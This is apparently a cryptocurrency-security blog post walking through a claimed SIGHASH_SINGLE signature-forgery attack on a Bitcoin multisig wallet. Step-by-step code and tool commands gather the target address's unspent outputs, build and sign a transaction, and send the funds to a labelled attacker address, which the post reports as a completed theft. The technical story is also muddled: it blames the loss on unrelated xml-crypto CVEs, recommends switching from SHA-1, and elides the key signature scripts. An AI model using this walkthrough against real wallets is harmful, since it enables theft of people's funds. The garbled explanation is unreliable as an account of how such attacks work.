- Receiving UTXO is done through a direct request to the node or a specialized API, which allows you to quickly determine the current balances at the address.
- The tool
darkaiis able to recognize and decode such data, providing a person with a convenient and understandable format.
The team
./darkai -unspent 32GkPB9XjMAELR4Q2Hr31Jdz2tntY18zCeidentified two unspent transaction outputs (UTXOs) controlled by the specified Bitcoin address. The total available funds are approximately 0.05677 BTC, which reflects the current balance and available assets for spending. This data is key to any process of managing funds: creating new transactions, accounting for balances, optimizing fees, and ensuring the security of working with cryptocurrency.
Script for creating and signing a Bitcoin transaction using multi-signature outputs and SIGHASH_SINGLE
Let’s look at an extensive example of working with Bitcoin transactions in practice – starting from receiving unspent outputs (UTXO) of several addresses, forming a new transaction using these outputs, signing the transaction inputs using the signature type SIGHASH_SINGLE, and ending with the result – transferring all BTC to a specific address. Particular attention is paid to technical details that are important for understanding the vulnerabilities and features of Bitcoin clients with multi-signature scenarios.
1. Getting unspent outputs (UTXO) for addresses
1.1. Bitcoin address of the attacker for appropriation of funds in BTC coins:
addr = '1Lyafe8mSqubnynbAWPcXbHE5pnHMzEnT3'# Conclusion:
unspent(addr)
[{'output': '23e81960ba8bb95c33c2336c84c126e378e4d1123921f881da9247c25f524161:1', 'value': 300000}]
- This contains one output that is unspent and available for use.
- Value: 300000 satoshi (
0.003 BTC).
1.2. Target Bitcoin address for Digital Signature Forgery Attack:
target = '32GkPB9XjMAELR4Q2Hr31Jdz2tntY18zCe'# Conclusion:
unspent(target)
[
{'output': '8602122a7044b8795b5829b6b48fb1960a124f42ab1c003e769bbaad31cb2afd:0', 'value': 677200},
{'output': 'bd992789fd8cff1a2e515ce2c3473f510df933e1f44b3da6a8737630b82d0786:0', 'value': 5000000}
]
- Two UTXOs were found for the target address with amounts of 677200 (
0.006772 BTC) and 5,000,000 satoshi (0.05 BTC).
2. Forming inputs and outputs for a new transaction
ins = unspent(addr) + unspent(target)
# Calculating the amount:
amount = 300000 + 5000000 + 677200 # = 5977200 satoshi
amount -= 10000 # Subtracting the miner's fee: 10000 satoshi, the final amount to send:
amount = 5967200 satoshi
- All three unspent outputs (UTXO) from both addresses are added to the inputs.
- For the output, the Bitcoin Address 1Lyafe8mSqubnynbAWPcXbHE5pnHMzEnT3 was selected , where all funds minus the commission will be sent.
outs = [{'address': addr, 'value': amount}]
3. Creating and signing a transaction
3.1. Assembling a new transaction (without signatures):
tx = mktx(ins, outs)
3.2. Signing the first login using a private key:
tx = sign(tx, 0, priv)
tx = deserialize(tx)
3.3. Manually substitute scriptSig for inputs using SIGHASH_SINGLE signatures:
tx['ins'][1]['script'] = '0048...53ae' # signing input 1 with multi-signature (SIGHASH_SINGLE)
tx['ins'][2]['script'] = '0048...53ae' # similar for input 2
- These
scriptSigcontain two signatures, each of which signs only its corresponding input and the corresponding (single) output (SIGHASH_SINGLE). - In addition,
scriptSigit comesredeemScriptwith three public keys for a multi-signature wallet.
4. Final transaction serialization and sending
!./darkai -serialize 32GkPB9XjMAELR4Q2Hr31Jdz2tntY18zCe
This transaction spends all three inputs and sends the funds to the attacker’s Bitcoin address
1Lyafe8mSqubnynbAWPcXbHE5pnHMzEnT3
Final result:
tx = [{'791fe035d312dcf9196b48649a5c9a027198f623c0a5f5bd4cc311b8864dd0cf'}]
In this case, virtually all BTC (including from the target address) were transferred under the control of one address.
791fe035d312dcf9196b48649a5c9a027198f623c0a5f5bd4cc311b8864dd0cf
5. Features of using SIGHASH_SINGLE
- The serious feature
SIGHASH_SINGLEis that the signature protects only one specific input and output with the same index. - If a transaction has more inputs than outputs, some inputs will not have a corresponding output.
- Due to a known Bitcoin bug, the signature hash is returned as a fixed value in this case
1, allowing an attacker to reuse valid signatures from another transaction for unsecured outputs. - This creates a vulnerability: forging a valid one
scriptSigfor those inputs where there is no corresponding output leads to incorrect, but accepted behavior in the network.
Even with multi-signature scenarios (
2 из 3), knowing this vulnerability, an attacker can effectively steal funds by creating transactions with barely noticeable modifications usingSIGHASH_SINGLE. The example provided illustrates such an attack: inputs from several Bitcoin addresses (including the target one) are collected, a transaction with one output to the attacker is formed, and the transaction is validated.
791fe035d312dcf9196b48649a5c9a027198f623c0a5f5bd4cc311b8864dd0cf
According to the data, funds were sent to the attacker’s Bitcoin address 1Lyafe8mSqubnynbAWPcXbHE5pnHMzEnT3 , where by processing the unupdated xml-crypto library for incorrect data values, manipulative transactions were made from the Bitcoin wallet: 32GkPB9XjMAELR4Q2Hr31Jdz2tntY18zCe , where subsequently coins were lost in the amount of: 0.059672 BTC as of July 2025, this amount is: 7,052 USD
1Lyafe8mSqubnynbAWPcXbHE5pnHMzEnT3
Conclusion
As a result of cryptanalysis of the cryptographic attack of forgery of digital signature (Digital Signature Forgery Attack), it becomes obvious that despite the high reliability of the basic cryptographic algorithms, such vulnerabilities as CVE-2025-29774 in CVE-2025-29775 the library xml-crypto and the bug SIGHASH_SINGLEin the Bitcoin protocol open up effective ways for attackers to bypass authentication mechanisms and steal cryptocurrency without private keys. Using the example of the attack on the multi-signature wallet Copay, it is shown how the subtleties of cryptographic implementation and errors in signature verification lead to the loss of funds and the undermining of trust in the security of the blockchain.
This clearly demonstrates that the stability of crypto platforms depends not only on cryptographic algorithms, but also on the correct implementation and timely updating of components involved in verifying digital signatures.
- Secure processing with Bitcoin requires the correct use of signature types
SIGHASH. - How the total input portion of a new transaction is formed from UTXOs of multiple addresses.
- How to create and sign a complex multi-signature transaction using the flag
SIGHASH_SINGLE. - How known features of the Bitcoin protocol can lead to a vulnerability that can lead to theft of funds.
- As a final result: all BTC addresses were transferred to one controlled address.
- Improvements to signatures (such as Taproot and Schnorr signatures) are aimed at addressing such issues.
- Wallet developers must strictly validate and update transaction generation components.
To prevent such incidents, it is necessary to immediately eliminate the identified vulnerabilities, switch to more secure algorithms (for example, from SHA-1 to SHA-256), and introduce comprehensive methods for assessing and strengthening cybersecurity, since in the era of rapidly developing technologies and new types of attacks, the security of cryptocurrency systems requires constant monitoring, rapid response and a comprehensive approach – only then can we guarantee the protection of digital assets and maintain user confidence in the blockchain.
References:
- Modern Password Cryptanalysis: How Unique Salts and Slowdown Algorithms Protect Data in the Age of Attacks and Bitcoin
- Cryptanalysis of Bitcoin transactions: internal mechanisms and software features
- Segregated Witness: A Key Step Towards Bitcoin Scalability & Security Is Deep Cryptanalysis. How SegWit Implementation Affects Protection Against Transaction Data Forgery
- Bitcoin Cryptanalysis: Mechanisms and Reliability of SHA-256 in Ensuring Blockchain Security and How Future Technological Advances Will Affect SHA-256’s Resilience to Digital Signature Forgery Attacks
- Hidden risks of multi-signature Bitcoin wallets: analysis of Copay vulnerability via SIGHASH_SINGLE attack (Digital Signature Forgery Attack) vulnerabilities such as CVE-2025-29774 and CVE-2025-29775 in the xml-crypto library and the SIGHASH_SINGLE bug in the Bitcoin protocol
- DeserializeSignature vulnerability in Bitcoin protocol: deep cryptanalysis and risks of forging ECDSA signatures and how to protect against fake signatures in the Bitcoin network that exploit this vulnerability
- Multi-Signatures in Bitcoin: How It Works, How to Protect Funds, How It Works, and How Leaking Private Keys Increases Fraud Risks
- The New Frontier of Cybersecurity Key Ecosystem Vulnerabilities and Cryptanalysis Bitcoin 2025: IoT Security Threat from CVE-2025-27840 Vulnerability in ESP32 Microcontrollers
- Unveiling Anomalies: Cryptanalytic Insights into the $8 Billion Bitcoin Transaction and Its Implications for Blockchain Transparency
- Cryptanalytic Disclosures: Unmasking Geopolitical Cyber Espionage and Financial Irregularities in the Nobitex Blockchain Breach
This material was created for the CRYPTO DEEP TECH portal to ensure financial data security and cryptography on elliptic curves secp256k1 against weak ECDSA signatures in the BITCOIN cryptocurrency . The creators of the software are not responsible for the use of materials.
Telegram: https://t.me/cryptodeeptech
Video: https://youtu.be/qbu1m_C1wyA
Video tutorial: https://dzen.ru/video/watch/68801dfc0c886621f7c1a0db
Source: https://cryptodeeptech.ru/digital-signature-forgery-attack
![How CVE-2025-29774 and SIGHASH_SINGLE Bug Threaten Bitcoin Multi-Sig Wallets with Fake RawTX: [Part #2] Engineer, Cryptocurrency, Article, Startup, Financial Literacy, Trading, Development, Bitcoins, Information Security, Cryptocurrency Arbitrage, Video, YouTube, Longpost](https://cs20.pikabu.ru/s/2025/07/24/00/4gv2xalo.webp)
